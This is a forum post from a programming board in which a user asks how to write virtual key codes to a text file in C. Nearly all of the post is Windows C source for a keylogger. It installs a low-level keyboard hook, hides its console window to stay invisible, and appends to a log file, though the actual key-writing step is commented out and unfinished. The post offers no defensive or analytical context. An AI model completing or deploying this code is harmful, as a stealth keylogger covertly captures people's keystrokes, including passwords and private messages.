VirtualKeyCode

Discussion in 'Programming' started by ssimon171078, Dec 16, 2014.

  1. #1
    i need to save VirtualKeyCode in text file in c how can i make this ?
    #include <windows.h>
    #include <stdio.h>
    #include <conio.h>
    
    
    HHOOK _hook;
    int i;
    // This struct contains the data received by the hook callback. As you see in the callback function
    // it contains the thing you will need: vkCode = virtual key code.
    
    int log1(char s1[])
    {
      FILE* file = fopen("key.txt", "a+");
      int i = 0;
      fputs(s1, file);
      i++;
      if (i == 50)
      {
      fputc('\n', file);
      i = 0;
      }
      fclose(file);
    }
    
    
    
    KBDLLHOOKSTRUCT kbdStruct;
    
    // This is the callback function. Consider it the event that is raised when, in this case,
    // a key is pressed.
    LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
    {
      DWORD VirtualKeycode;
      char c;
      
      
      if (nCode >= 0)
      {
      // the action is valid: HC_ACTION.
      if (wParam == WM_KEYDOWN)
      {
      // lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
      kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
      // a key (non-system) is pressed.
      VirtualKeycode =kbdStruct.vkCode;
      //-------------------------------------------
      if ((VirtualKeycode >=39) && (VirtualKeycode <= 64))
      {
      
      
      //  FILE *file;
      //  file=fopen("vx.txt","a+");
      //  fprintf(file,"%s",char(VirtualKeycode));
      //  fprintf(file,"%s"," ");
      //  fclose(file);
      }
      
      }
      }
    
      // call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops
      return CallNextHookEx(_hook, nCode, wParam, lParam);
    }
    
    void SetHook()
    {
      // Set the hook and set it to use the callback function above
      // WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
      // The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
      // function that sets and releases the hook. If you create a hack you will not need the callback function
      // in another place then your own code file anyway. Read more about it at MSDN.
      if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
      {
      // MessageBox(NULL, "Failed to install hook!", "Error", MB_ICONERROR);
      }
    }
    
    void ReleaseHook()
    {
      UnhookWindowsHookEx(_hook);
    }
    
    
    
    
    int  main ()
    {
    int i;
    HWND stealth; /*creating stealth (window is not visible)*/
      AllocConsole();
      stealth=FindWindowA("ConsoleWindowClass",NULL);
      ShowWindow(stealth,0);
    FILE *file;
    file=fopen("vx.txt","a+");
    fprintf(file,"%s","Begin of Log");
    fprintf(file,"%s"," ");
    fclose(file);
    SetHook();
    
      // Don't mind this, it is a meaningless loop to keep a console application running.
      // I used this to test the keyboard hook functionality. If you want to test it, keep it in ;)
      MSG msg;
      while (GetMessage(&msg, NULL, 0, 0)!=0)
      {
      TranslateMessage(&msg);
      DispatchMessage(&msg);
      }
    
    
    return 0;
    }
    Code (markup):

     
    Last edited by a moderator: Dec 16, 2014
    ssimon171078, Dec 16, 2014 IP